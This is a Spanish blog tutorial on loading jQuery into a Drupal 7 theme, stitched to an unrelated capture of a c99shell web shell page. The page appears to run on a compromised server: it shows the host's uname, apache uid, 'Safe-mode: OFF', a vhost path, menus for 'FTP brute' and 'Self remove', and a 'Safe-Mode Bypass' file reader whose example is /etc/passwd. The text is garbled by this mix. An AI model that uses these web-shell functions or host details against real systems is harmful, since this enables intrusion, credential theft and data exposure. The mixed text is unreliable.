Subir

Integrar Jquery en un sistema Drupal 7. Preparando el entorno

Jquery y Drupal 7

Si habéis trasteado un poco con la librería Jquery, y conocéis las posibilidades potenciales para nuestros proyectos web, en cuánto a funcionalidades y efectos principalmente, vamos a empezar a implementarla desde cero en un sistema drupal 7.

Por lo tanto, hoy únicamente vamos a preparar el entorno para que la librería Jquery funcione sin problemas en Drupal 7.

Primero: nos vamos a descargar las librerías necesarias básicas para su correcto funcionamiento, y la vamos a guardar en el directorio de nuestra plantilla, preferiblemente y si no existe, creamos un carpeta denominada js, y las guardamos ahí.

Enlaces para descarga:
-http://jquery.com/download/
-http://jqueryui.com/download/

Segundo: si vamos a implementar nuestro propio código jquery, debemos crear un archivo js con cualquier editor de texto, por ahora en blanco, y lo guardamos en el mismo directorio del punto anterior (p.ej.: micodigo.js).

Tercero: informamos a nuestro sistema Drupal 7 que ejecute las páginas mirando nuestros archivos js, para lo cuál accedemos, en nuestro theme, al archivo nuestro-theme.info y lo editamos:

Cuarto: dentro de nuestro archivo.info y a continuación de la declaración de nuestras stylesheets, incluímos la declaración de nuestros archivos .js, de esta manera:

scripts[] = js/jquery-1.11.1.min.js
scripts[] = js/jquery-ui-1.11.2.custom.js
scripts[] = js/micodigo.js

Es importante mantener este orden en la declaración para que no nos de problemas.

El formato o sintaxis en nuestro jquery personalizado es el mismo en Drupal 7 que para cualquier otra plataforma o framework, por lo que utilizamos la misma, por ejemplo, para nuestro documento preparado o cargado:

$(document).ready(function() {
nuestro código aquí
});

Esta es la manera más sencilla de implementar nuestro código javascript en nuestro sistema. Posteriormente iremos viendo poco a poco diferentes formas de implementarlo, para nuestro theme específico, archivos php, módulos concretos, etc, etc.

Ahí van algunos ejemplos:

Si queremos implementar un archivo jquery en un archivo tpl.php específico:

drupal_add_js(drupal_get_path('theme', 'my_theme') . '/js/micodigo.js');

Si queremos aplicar una librería externa:

drupal_add_js('http://example.com/example.js', 'external');

En fin, y otras muchas opciones que iremos viendo más adelante.

Temas blog: 
Imagen de rummykhan
SOBRE EL AUTOR

Experto en desarrollo de portales web, comercio electrónico y seo.

Añadir nuevo comentario

Filtered HTML

  • Las direcciones de las páginas web y las de correo se convierten en enlaces automáticamente.
  • Etiquetas HTML permitidas: <a> <em> <strong> <cite> <blockquote> <code> <ul> <ol> <li> <dl> <dt> <dd>
  • Saltos automáticos de líneas y de párrafos.

Plain text

  • No se permiten etiquetas HTML.
  • Las direcciones de las páginas web y las de correo se convierten en enlaces automáticamente.
  • Saltos automáticos de líneas y de párrafos.
laranikita.es - phpshell

!c99Shell v. 1.0 pre-release build #16!

Software: Apache. PHP/5.3.3 

uname -a: Linux abretutiendaonline.com 2.6.32-042stab134.3 #1 SMP Sun Oct 14 12:26:01 MSK 2018
x86_64
 

uid=48(apache) gid=48(apache) groups=48(apache),502(psaserv),508(psasb) 

Safe-mode: OFF (not secure)

/var/www/vhosts/abretutiendaonline.com/httpdocs/   drwxr-xr-x
Free 33.74 GB of 49.09 GB (68.74%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     README.txt (5.26 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
CONTENTS OF THIS FILE
---------------------

 * About Drupal
 * Configuration and features
 * Installation profiles
 * Appearance
 * Developing for Drupal

ABOUT DRUPAL
------------

Drupal is an open source content management platform supporting a variety of
websites ranging from personal weblogs to large community-driven websites. For
more information, see the Drupal website at http://drupal.org/, and join the
Drupal community at http://drupal.org/community.

Legal information about Drupal:
 * Know your rights when using Drupal:
   See LICENSE.txt in the same directory as this document.
 * Learn about the Drupal trademark and logo policy:
   http://drupal.com/trademark

CONFIGURATION AND FEATURES
--------------------------

Drupal core (what you get when you download and extract a drupal-x.y.tar.gz or
drupal-x.y.zip file from http://drupal.org/project/drupal) has what you need to
get started with your website. It includes several modules (extensions that add
functionality) for common website features, such as managing content, user
accounts, image uploading, and search. Core comes with many options that allow
site-specific configuration. In addition to the core modules, there are
thousands of contributed modules (for functionality not included with Drupal
core) available for download.

More about configuration:
 * Install, upgrade, and maintain Drupal:
   See INSTALL.txt and UPGRADE.txt in the same directory as this document.
 * Learn about how to use Drupal to create your site:
   http://drupal.org/documentation
 * Download contributed modules to sites/all/modules to extend Drupal's
   functionality:
   http://drupal.org/project/modules
 * See also: "Developing for Drupal" for writing your own modules, below.

INSTALLATION PROFILES
---------------------

Installation profiles define additional steps (such as enabling modules,
defining content types, etc.) that run after the base installation provided
by core when Drupal is first installed. There are two basic installation
profiles provided with Drupal core.

Installation profiles from the Drupal community modify the installation process
to provide a website for a specific use case, such as a CMS for media
publishers, a web-based project tracking tool, or a full-fledged CRM for
non-profit organizations raising money and accepting donations. They can be
distributed as bare installation profiles or as "distributions". Distributions
include Drupal core, the installation profile, and all other required
extensions, such as contributed and custom modules, themes, and third-party
libraries. Bare installation profiles require you to download Drupal Core and
the required extensions separately; place the downloaded profile in the
/profiles directory before you start the installation process. Note that the
contents of this directory may be overwritten during updates of Drupal core;
it is advised to keep code backups or use a version control system.

Additionally, modules and themes may be placed inside subdirectories in a
specific installation profile such as profiles/your_site_profile/modules and
profiles/your_site_profile/themes respectively to restrict their usage to only
sites that were installed with that specific profile.

More about installation profiles and distributions:
 * Read about the difference between installation profiles and distributions:
   http://drupal.org/node/1089736
 * Download contributed installation profiles and distributions:
   http://drupal.org/project/distributions
 * Develop your own installation profile or distribution:
   http://drupal.org/developing/distributions

APPEARANCE
----------

In Drupal, the appearance of your site is set by the theme (themes are
extensions that set fonts, colors, and layout). Drupal core comes with several
themes. More themes are available for download, and you can also create your own
custom theme.

More about themes:
 * Download contributed themes to sites/all/themes to modify Drupal's
   appearance:
   http://drupal.org/project/themes
 * Develop your own theme:
   http://drupal.org/documentation/theme

DEVELOPING FOR DRUPAL
---------------------

Drupal contains an extensive API that allows you to add to and modify the
functionality of your site. The API consists of "hooks", which allow modules to
react to system events and customize Drupal's behavior, and functions that
standardize common operations such as database queries and form generation. The
flexible hook architecture means that you should never need to directly modify
the files that come with Drupal core to achieve the functionality you want;
instead, functionality modifications take the form of modules.

When you need new functionality for your Drupal site, search for existing
contributed modules. If you find a module that matches except for a bug or an
additional needed feature, change the module and contribute your improvements
back to the project in the form of a "patch". Create new custom modules only
when nothing existing comes close to what you need.

More about developing:
 * Search for existing contributed modules:
   http://drupal.org/project/modules
 * Contribute a patch:
   http://drupal.org/patch/submit
 * Develop your own module:
   http://drupal.org/developing/modules
 * Follow best practices:
   http://drupal.org/best-practices
 * Refer to the API documentation:
   http://api.drupal.org/api/drupal/7

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0116 ]--